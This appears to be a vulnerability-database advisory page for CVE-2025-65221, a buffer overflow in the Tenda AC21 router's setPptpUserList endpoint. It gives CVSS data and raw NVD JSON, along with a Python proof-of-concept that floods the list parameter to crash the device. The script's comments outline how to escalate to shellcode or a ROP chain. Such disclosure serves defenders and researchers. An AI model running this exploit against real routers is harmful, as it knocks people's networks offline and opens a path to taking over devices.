Security Vulnerability Report
中文
CVE-2025-65221 CVSS 4.3 MEDIUM

CVE-2025-65221

Published: 2025-11-20 15:17:40
Last Modified: 2025-11-21 17:25:40

Description

Tenda AC21 V16.03.08.16 is vulnerable to Buffer Overflow via the list parameter of /goform/setPptpUserList.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:tenda:ac21_firmware:16.03.08.16:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac21:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC21 V16.03.08.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-65221 PoC - Tenda AC21 Buffer Overflow in setPptpUserList # Target: Tenda AC21 V16.03.08.16 # Attack Vector: /goform/setPptpUserList via list parameter target_ip = "192.168.0.1" # Default Tenda router IP target_url = f"http://{target_ip}/goform/setPptpUserList" # Generate payload - long string to trigger buffer overflow # Adjust length based on actual buffer size payload_length = 1000 overflow_payload = "A" * payload_length # Construct POST data with vulnerable parameter data = { "list": overflow_payload } print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload length: {payload_length} bytes") try: response = requests.post(target_url, data=data, timeout=5) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.Timeout: print("[!] Request timed out - device may have crashed") except requests.exceptions.ConnectionError: print("[!] Connection failed - device may be unresponsive") except Exception as e: print(f"[!] Error: {str(e)}") # For targeted exploitation, replace 'A' with: # 1. NOP sled + shellcode for code execution # 2. ROP chain to bypass DEP/ASLR (if present) # 3. Specific return address overwrite value

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65221", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:40.160", "lastModified": "2025-11-21T17:25:39.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AC21 V16.03.08.16 is vulnerable to Buffer Overflow via the list parameter of /goform/setPptpUserList."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac21_firmware:16.03.08.16:*:*:*:*:*:*:*", "matchCriteriaId": "089AC516-5475-4725-B348-832A00ED0CC3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac21:-:*:*:*:*:*:*:*", "matchCriteriaId": "05B05222-6E83-487C-A083-CED82D803330"}]}]}], "references": [{"url": "https://github.com/Madgeaaaaa/MY_VULN_2/blob/main/Tenda/VULN2.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}